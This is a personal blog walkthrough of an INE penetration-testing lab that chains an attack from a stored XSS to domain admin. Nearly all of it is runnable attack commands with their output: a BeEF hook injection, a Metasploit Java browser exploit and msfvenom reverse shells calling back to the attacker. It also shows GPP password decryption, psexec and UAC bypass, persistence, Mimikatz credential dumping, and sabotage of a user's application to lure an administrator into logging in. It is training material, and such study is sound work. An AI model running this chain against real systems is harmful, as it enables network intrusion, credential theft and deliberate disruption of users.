December 19, 2021 | 21:56

INE Lab - From XSS to Domain Admin

This lab starts by exploiting a stored XSS vulnerability and a vulnerable Java browser plugin to get a (unprivileged) remote shell on one of the company’s internal network machines.

In a next step, using the socalled Group Policy Preferences (GPP) vulnerability, it’s possible to get local administrator credentials. Bypassing UAC allows to further escalate the privileges to SYSTEM and force a domain administrator to login to the machine, by preventing an importing application to work,so that the user will contact IT support.

The domain administrator will log in to our machine. As a result, we’re able to extract the credentials using Mimikatz (Kiwi). With the domain admin credentials, we can login to the domain controller via RDP.

Preparation

# Store own ip in variable
$ myip=$(ip a s tap0 | grep "inet " | awk '{print $2}' | cut -d/ -f1)
# Add hostname
$ echo -e "172.16.111.1\tblog.fooresearch.site" | sudo tee -a /etc/hosts
# Install cli json parser
$ sudo apt install -y jq
# Store beef REST url in variable
$ beefapi="http:/127.0.0.1:3000/api"

Task 1: Hook a Browser

Hook an internal browser with BeEF-XSS. Your XSS has to be stealth. If a user detects something strange, for example an alert(), they will stop browsing the blog.

Let’s begin by starting beef-xss and preparing the URL that will be used to hook a victim’s browser:

# Start beef-xss
$ sudo beef-xss
# Prepare hook url
$ hookurl="<script src=\"http://${myip}:3000/hook.js\"></script>"

Embed the hook URL onto the site using the stored XSS vuln:

# Exploit stored xss
$ curl -i -s -k -X $'POST' \
    -H $'Host: blog.fooresearch.site' \
    -H $'Content-Type: application/x-www-form-urlencoded' \
    -d "username=user&comment=hi${hookurl}" \
    $'http://blog.fooresearch.site/index.php'

Now wait until a victim within the internal network visits the site:

# List and filter hooked browsers
$ token=$(curl -s -X POST \
    -H "Content-Type: application/json" \
    -d '{"username":"beef", "password":"beef123"}' \
    $beefapi/admin/login \
    | jq -r '.token')
$ curl -s $beefapi/hooks\?token\=$token \
    | jq -r '.["hooked-browsers"].online 
        | select(.[].os=="Windows")
        | select(.[].name=="IE")'

Task 2: Browser Information Gathering

Get information about the browser and its plugins, try to find a vulnerable plugin to exploit.

From the browser details, we can see that the hooked browser is an IE10 running on a Windows 7 x86 machine:

# Get more information about our hooked browser
$ session=$(curl -s $beefapi/hooks\?token\=$token \
    | jq -r '.["hooked-browsers"].online 
        | select(.[].os=="Windows")
        | select(.[].name=="IE")
        | .[].session')
$ curl -s $beefapi/hooks/$session\?token\=$token \ | jq

Using the Get System Info module, which is running a Java applet on the hooked browser, we notice that a vulnerable Java version 1.7.0_17 is installed:

# Run module "Get System Info (Java)"
$ moduleid=$(curl -s $beefapi/modules\?token\=$token \
    | jq '.[] 
          | select(.name=="Get System Info (Java)") 
          | .id')
$ commandid=$(curl -s -X POST \
    -H "Content-Type: application/json; charset=UTF-8" \
    -d '{}' \
    $beefapi/modules/$session/$moduleid\?token\=$token \
    | jq -r '.command_id')
$ curl -s $beefapi/modules/$session/$moduleid/$commandid\?token\=$token \
    | jq -r ".[].data" \
    | jq -r ".data" \
    | sed 's/<br>/\n/g' \
    | grep "Java Version"

Task 3: Get a Shell

Using the information gathered get a shell on an internal machine.

We’ll make use of one of the many jre17 Metasploit exploits, which generates a URL that we will use to get a shell in the next step:

# Run metasploit jre17 exploit module
$ msfconsole -q -x \
    "use exploit/multi/browser/java_jre17_driver_manager; \
    set LHOST tap0; \
    set LPORT 4444; \
    set TARGET Windows x86 (Native Payload); \
    set PAYLOAD windows/meterpreter/reverse_tcp; \
    set SRVHOST tap0; \
    set SRVPORT 8080; \
    set URIPATH mypath; \
    exploit -j"

The following command will embed our URL into an iframe so that it is called by the hooked browser:

# Run beef-xss "create invible iframe" module
$ moduleid=$(curl -s $beefapi/modules\?token\=$token \
    | jq '.[] 
        | select(.name=="Create Invisible Iframe") 
        | .id')
$ curl -s -X POST \
    -H "Content-Type: application/json; charset=UTF-8" \
    -d "{\"target\": \"http://${myip}:8080/mypath\"}" \
    $beefapi/modules/$session/$moduleid\?token\=$token \
    | jq -r '.command_id'

Let’s wait for the Meterpreter session to come up. We’ll notice the domain user, the domain name, the hostname and it’s IP address:

# get basic information
meterpreter > getuid
Server username: EXAMPLEAD\SecondUser
meterpreter > sysinfo
Computer        : PCCLIENT7
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : EXAMPLEAD
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > ipconfig
[...]
IPv4 Address : 192.168.200.210
IPv4 Netmask : 255.255.255.0
[...]

Task 4: Active Directory Exploitation

Task 4.1: Information Gathering

Get information about the AD infrastructure, especially:

  • The domain name
  • Information about domain controllers

We gather information using the cmd prompt (output is snipped for better readability):

# List members of local administrators group
C:\Users\SecondUser\Desktop>net localgroup administrators
Administrator
EXAMPLEAD\Domain Admins
LADM
# List local user accounts
C:\Users\SecondUser\Desktop>net user
User accounts for \\PCCLIENT7
Administrator            Guest                   LADM
# List domain
C:\Users\SecondUser\Desktop>net view /domain
EXAMPLEAD
# List domain machines
C:\Users\SecondUser\Desktop>net view /domain:examplead
\\DC01            
\\PCCLIENT7 
\\PCCLIENTXP
# List domain controllers
C:\Users\SecondUser\Desktop>net group "Domain Controllers" /domain
DC01$
# List domain users
C:\Users\SecondUser\Desktop>net users /domain
User accounts for \\DC01.examplead.lan
Administrator            exampleadm               ExampleUser              
Guest                    krbtgt                   SecondUser  
# Get IP addresses
C:\Users\SecondUser\Desktop>nslookup pcclientxp
Name:    pcclientxp.examplead.lan
Address:  192.168.200.200
C:\Users\SecondUser\Desktop>nslookup dc01
Name:    dc01.examplead.lan
Address:  192.168.200.100

Task 4.2: Credentials Stealing

Exploiting default group policies’ files permission get the username and password of a local administrator account.

I found this blog post about privilege escalation via GPPs. The post explains following:

What this means for us as pen testers is that if we have access to ANY Domain account, we can pull down the “cpassword” values for accounts stored on the Domain Controller and simply decrypt the plaintext password. Given that these policies are set in order to manage multiple machines in a Domain, we can often move laterally, authenticating with Local Administrator privileges to a number of other machines. This freedom to move around the network can open all sorts of opportunities for further exploitation.

Let’s use a Metasploit module to search the GPP files for local user credentials:

meterpreter > run post/windows/gather/credentials/gpp
[...]
[*] Parsing file: \\DC01\SYSVOL\examplead.lan\Policies\{69BCC2AD-B7E5-4E02-833D-DBFDD19E7EB4}\MACHINE\Preferences\Groups\Groups.xml ...
[+]  Group Policy Credential Info
============================

 Name               Value
 ----               -----
 TYPE               Groups.xml
 USERNAME           LADM
 PASSWORD           Pm2fUXScqI
 DOMAIN CONTROLLER  DC01
 DOMAIN             examplead.lan
 CHANGED            2014-07-31 12:11:27
 NEVER_EXPIRES?     1
 DISABLED           0
 NAME               Local administrator LADM

Task 5: Explore the Network

Identify other hosts on the network and get information about their operating systems.

First, we need to set a route into the target network through our session:

# Add route to target network via existing session
meterpreter > run autoroute -s 192.168.200.0/24

Find hosts on the network using netbios:

# Run netbios scan
msf6 > use auxiliary/scanner/netbios/nbname
msf6 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.200.0-255
msf6 auxiliary(scanner/netbios/nbname) > run
[+] 192.168.200.100 [DC01] OS:Windows Names:(DC01, EXAMPLEAD) Addresses:(192.168.200.100) Mac:00:50:56:a0:e9:95 Virtual Machine:VMWare
[+] 192.168.200.200 [PCCLIENTXP] OS:Windows Names:(PCCLIENTXP, EXAMPLEAD) Addresses:(192.168.200.200) Mac:00:50:56:a0:b5:b8 Virtual Machine:VMWare
[+] 192.168.200.210 [PCCLIENT7] OS:Windows Names:(PCCLIENT7, EXAMPLEAD, __MSBROWSE__)  Mac:00:50:56:a0:0f:0d Virtual Machine:VMWare

Run a port scan on each of the discovered hosts:

# Run port scan
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.200.100,200,210
msf6 auxiliary(scanner/portscan/tcp) > set threads 200
msf6 auxiliary(scanner/portscan/tcp) > set ports 1-1000
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.200.200:      - 192.168.200.200:135 - TCP OPEN
[+] 192.168.200.200:      - 192.168.200.200:139 - TCP OPEN
[+] 192.168.200.210:      - 192.168.200.210:135 - TCP OPEN
[+] 192.168.200.210:      - 192.168.200.210:139 - TCP OPEN
[+] 192.168.200.200:      - 192.168.200.200:445 - TCP OPEN
[+] 192.168.200.210:      - 192.168.200.210:445 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:53 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:88 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:135 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:139 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:389 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:445 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:464 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:593 - TCP OPEN
[+] 192.168.200.100:      - 192.168.200.100:636 - TCP OPEN

From the port scan, we can see that SMB port is open on each machine. Hence, we can use the smb_version module to identify the OS running on each machine:

# Detect OS versions
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhost 192.168.200.100,200,210
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 192.168.200.100:445   -   Host is running Windows 2008 Datacenter SP1 (build:6001) (name:DC01) (domain:EXAMPLEAD)
[+] 192.168.200.200:445   -   Host is running Windows XP SP3 (language:English) (name:PCCLIENTXP) (domain:EXAMPLEAD)
[+] 192.168.200.210:445   -   Host is running Windows 7 Professional SP1 (build:7601) (name:PCCLIENT7) (domain:EXAMPLEAD)

Task 6: Get an Administrator Shell

Choose your next target and use the credentials you got at the previous task to get a shell.

Run psexec on all hosts with our gathered (local) credentials:

# Run psexec
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 192.168.200.100,200,210
msf6 exploit(windows/smb/psexec) > set smbuser LADM
msf6 exploit(windows/smb/psexec) > set smbpass Pm2fUXScqI
msf6 exploit(windows/smb/psexec) > set lhost tap0
msf6 exploit(windows/smb/psexec) > set lport 6666
msf6 exploit(windows/smb/psexec) > exploit
# We have a session on host "pcclientxp"
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : PCCLIENTXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : EXAMPLEAD
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > ipconfig
[...]
IPv4 Address : 192.168.200.200
IPv4 Netmask : 255.255.255.0
[...]
# Create persistence (optional)
meterpreter > run persistence -X -i 10 -p 8888 -r tap0

We know that there is a user LADM on pcclient7, but psexec fails. Let’s try the run_as module:

# generate payload
$ msfvenom \
    -p windows/meterpreter/reverse_tcp \
    LHOST=$myip \
    LPORT=9999 \
    -f exe > rev.exe
# upload to target and set file permissions
meterpreter > upload rev.exe C:\\Users\\SecondUser\\Desktop\\rev.exe
C:\Users\SecondUser\Desktop>icacls rev.exe /grant Everyone:(F)
# start handler
msfconsole -q -x \
    "use exploit/multi/handler; \
    set payload windows/meterpreter/reverse_tcp; \
    set lhost tap0; \
    set lport 9999; \
    exploit"
# use "run_as" to get a reverse shell
msf6 > use post/windows/manage/run_as
msf6 post(windows/manage/run_as) > set user LADM
msf6 post(windows/manage/run_as) > set password Pm2fUXScqI
msf6 post(windows/manage/run_as) > set session 1
msf6 post(windows/manage/run_as) > set domain pcclient7 # local user
msf6 post(windows/manage/run_as) > set CMD "C:\\Users\\SecondUser\\Desktop\\rev.exe"
msf6 post(windows/manage/run_as) > exploit
# We have a Meterpreter shell as LADM
meterpreter > getuid
Server username: PCCLIENT7\LADM

It’s necessary to bypass UAC to get SYSTEM privileges:

# getsystem command fails
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[...]
# UAC is enabled
meterpreter > run post/windows/gather/win_privs
[...]
 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 False     False      True                     True         1              PCCLIENT7\LADM
[...]
# bypass UAC (run multiple times an check your sessions)
msf6 > use exploit/windows/local/bypassuac_injection
msf6 exploit(windows/local/bypassuac_injection) > set lhost tap0
msf6 exploit(windows/local/bypassuac_injection) > set lport 10000
msf6 exploit(windows/local/bypassuac_injection) > set session 2
msf6 exploit(windows/local/bypassuac_injection) > set target Windows x86
msf6 exploit(windows/local/bypassuac_injection) > exploit
# the new session is in context of same user but with admin privileges
meterpreter > getuid
Server username: PCCLIENT7\LADM
[...]
meterpreter > run post/windows/gather/win_privs
 Is Admin  Is System  Is In Local Admin Group  UAC Enabled  Foreground ID  UID
 --------  ---------  -----------------------  -----------  -------------  ---
 True      False      True                     True         1              PCCLIENT7\LADM
[...]
# getsystem now works
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Task 7: Force a Domain Admin to connect to the target machine

Find a way to cause a Domain Administrator to connect to the target machine.

# The processes shows an unusual "ModernApp.exe" executable
meterpreter > ps
[...]
2432  2360  ModernApp.exe      x86   1        EXAMPLEAD\SecondUser          C:\Program Files\ModernApp\ModernApp.exe
[...]

If we kill and delete it, the user may get help by a domain admin user, which will login and leave credentials in memory:

# kill process and delete executable
meterpreter > kill 2432
meterpreter > del "C:\Program Files\ModernApp\ModernApp.exe"

Now verify

# Check if domain admin has authenticated
meterpreter > ps -U "ExampleAdm"

Task 8: Obtain Domain Admin Credentials

Find a way to steal an authorization token or credentials of a domain administrator.

Now that we know, a domain administrator has logged in into our system, we can try to extract credentials using mimikatz (now named kiwi):

# load kiwi extension
meterpreter > load kiwi
# retrieve all credentials
meterpreter > creds_all
[...]
LADM        PCCLIENT7  Pm2fUXScqI
SecondUser  EXAMPLEAD  consciousAlert...
exampleadm  EXAMPLEAD  manageth3PC'z
[...]

Task 9: RDP Connection

Open an RDP connection to a domain controller as a domain admin as PoC of your exploitation.

First verify, if RDP port is open on DC:

# Run port scan
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.200.100
msf6 auxiliary(scanner/portscan/tcp) > set threads 100
msf6 auxiliary(scanner/portscan/tcp) > set ports 3389
msf6 auxiliary(scanner/portscan/tcp) > run
[...]
[+] 192.168.200.100:      - 192.168.200.100:3389 - TCP OPEN

Now that we know RDP is active on the DC, let’s find a way to connect to it:

# Forward RDP connection using Meterpreter
erpreter > portfwd add -l 3333 -p 3389 -r 192.168.200.100
[*] Local TCP relay created: :3333 <-> 192.168.200.100:3389
# Connect to RDP with domain admin creds
$ rdesktop -u exampleadm -p "manageth3PC'z" -d examplead 127.0.0.1:3333

© Pavel Pi 2021

Powered by Hugo & Kiss'Em.